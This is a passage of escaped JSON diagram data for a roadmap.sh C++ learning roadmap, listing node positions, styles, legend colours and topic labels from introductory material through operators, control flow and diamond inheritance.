\"ra0ZEvbILayGotRDlRwjF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 107,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 107\n      },\n      \"positionAbsolute\": {\n        \"x\": 159.993752405053,\n        \"y\": 1671.789165472234\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 107\n      }\n    },\n    {\n      \"id\": \"mnUWOqBFgcuNsXUr18fJI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 1484.789165472234\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 322,\n      \"height\": 128,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 128\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 1484.789165472234\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 128\n      }\n    },\n    {\n      \"id\": \"l5xm8tzFqMKwGdK3MYaXm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 500.31370390738084,\n        \"y\": 1150.9555450086277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 199,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 199\n      },\n      \"positionAbsolute\": {\n        \"x\": 500.31370390738084,\n        \"y\": 1150.9555450086277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 199\n      }\n    },\n    {\n      \"id\": \"fG1lGRwUDPc-aiETFyEE7\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 588.119142886761,\n        \"y\": 1045.9498696738276\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 196,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 196\n      },\n      \"positionAbsolute\": {\n        \"x\": 588.119142886761,\n        \"y\": 1045.9498696738276\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"ofwdZm05AUqCIWmfgGHk8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 539.0885117402935,\n        \"y\": 1257.538589268166\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Diamond Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 539.0885117402935,\n        \"y\": 1257.538589268166\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZHjU60uzJTezADRhDTESG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.99375240505299,\n        \"y\": 877.9725710130274\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Forward Declaration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 66.99375240505299,\n        \"y\": 877.9725710130274\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J7Jwh6hrrEyni5eGmuCqc\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -44.467176049532384,\n        \"y\": 1130.9555450086277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -44.467176049532384,\n        \"y\": 1130.9555450086277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Qk3hqX1Wj68FD8jXHS5NU\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -284.4671760495324,\n        \"y\": 822.073069776383\n      },\n      \"width\": 242,\n      \"height\": 234,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 234\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -284.4671760495324,\n        \"y\": 822.073069776383\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 234\n      }\n    },\n    {\n      \"id\": \"zybofouGIVxcKvr47F3Yy\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -284.4671760495324,\n        \"y\": 1051.9498696738276\n      },\n      \"width\": 242,\n      \"height\": 175,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 175\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -284.4671760495324,\n        \"y\": 1051.9498696738276\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 175\n      }\n    },\n    {\n      \"id\": \"c58fcsthBlVfzfr-MHdpF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 256.89029212267985,\n        \"y\": -124.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 256.89029212267985,\n        \"y\": -124.59925177765109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 218.39029212267985,\n        \"y\": -59.09925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C++\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 218.39029212267985,\n        \"y\": -59.09925177765109\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 421.119142886761,\n        \"y\": -125.95736970235458\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 421.119142886761,\n        \"y\": -125.95736970235458\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 433.619142886761,\n        \"y\": -44.09925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 433.619142886761,\n        \"y\": -44.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g4hjyQF8-SpjPi8mYtIsk\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 256.89029212267985,\n        \"y\": 15.028193715390685\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 139,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 139\n      },\n      \"positionAbsolute\": {\n        \"x\": 256.89029212267985,\n        \"y\": 15.028193715390685\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 139\n      }\n    },\n    {\n      \"width\": 412,\n      \"height\": 121,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -278.006247594947,\n        \"y\": 2846.2883869394877\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Keep learning with following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -278.006247594947,\n        \"y\": 2846.2883869394877\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 412,\n        \"height\": 121\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 412,\n        \"height\": 121\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -82.50624759494701,\n        \"y\": 2967.2883869394877\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -82.50624759494701,\n        \"y\": 2967.2883869394877\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 378,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -261.006247594947,\n        \"y\": 2903.0129376580285\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -261.006247594947,\n        \"y\": 2903.0129376580285\n      },\n      \"style\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 128.89029212267985,\n        \"y\": 150.76582156925141\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction to Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.89029212267985,\n        \"y\": 150.76582156925141\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q2z_1wnPUnWM7MYIIUyBg\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -285.20291471146976,\n        \"y\": -130.55580566097228\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n            \"color\": \"#6d7500\",\n            \"label\": \"Beginner Topics / Start here\"\n          },\n          {\n            \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n            \"label\": \"Intermediate Topics / Pick Next\",\n            \"color\": \"#2b78e4\"\n          },\n          {\n            \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n            \"label\": \"Advanced Topics / Pick Later\",\n            \"color\": \"#000000\"\n          },\n          {\n            \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n            \"label\": \"Optional / Learn if you want\",\n            \"color\": \"#999999\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 156,\n      \"positionAbsolute\": {\n        \"x\": -285.20291471146976,\n        \"y\": -130.55580566097228\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 352\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 156\n      }\n    },\n    {\n      \"id\": \"x_28LiDVshqWns_aIBsdx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 519.3983385532916,\n        \"y\": 95.44419433902749\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is C++?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 519.3983385532916,\n        \"y\": 95.44419433902749\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tl6VCQ5IEGDVyFcgj7jDm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 520.3137039073808,\n        \"y\": 149.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Why use C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 520.3137039073808,\n        \"y\": 149.4441943390275\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2Ag0t3LPryTF8khHLRfy-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 520.3137039073808,\n        \"y\": 202.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C vs C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 520.3137039073808,\n        \"y\": 202.4441943390275\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Zc_TTzmM36yWsu3GvOy9x\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -281.68629609261916,\n        \"y\": 282.9441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Setting up your Environment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.68629609261916,\n        \"y\": 282.9441943390275\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0J_ltQEJh2g28OE2ZEYJj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.68629609261916,\n        \"y\": 364.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Installing C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.68629609261916,\n        \"y\": 364.4441943390275\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ew0AfyadpXPRO0ZY3Z19k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.68629609261916,\n        \"y\": 417.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Code Editors / IDEs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.68629609261916,\n        \"y\": 417.4441943390275\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SEq0D2Zg5WTsIDtd1hW9f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -281.68629609261916,\n        \"y\": 470.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Running your First Program\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.68629609261916,\n        \"y\": 470.4441943390275\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kl2JI_Wl47c5r8SYzxvCq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 127.76444711909286,\n        \"y\": 282.9441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MwznA4qfpNlv6sqSNjPZi\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.76444711909286,\n        \"y\": 282.9441943390275\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8aOSpZLWwZv_BEYiurhyR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 127.76444711909286,\n        \"y\": 367.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Arithmetic Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.76444711909286,\n        \"y\": 367.4441943390275\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y9gq8WkDA_XGe68JkY2UZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 127.76444711909286,\n        \"y\": 420.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Logical Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.76444711909286,\n        \"y\": 420.4441943390275\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zE4iPSq2KsrDSByQ0sGK_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 127.76444711909286,\n        \"y\": 473.4441943390275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bitwise Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.76444711909286,\n        \"y\": 473.4441943390275\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s5Gs4yF9TPh-psYmtPzks\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 518.9836543599333,\n        \"y\": 461.1708336969881\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Control Flow & Statements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MwznA4qfpNlv6sqSNjPZi\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.9836543599333,\n        \"y\": 461.1708336969881\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_IP_e1K9LhNHilYTDh7L5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.9836543599333,\n        \"y\": 347.2028070104984\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"for / while / do while loops\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bjpFWxiCKGz28E-ukhZBp\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      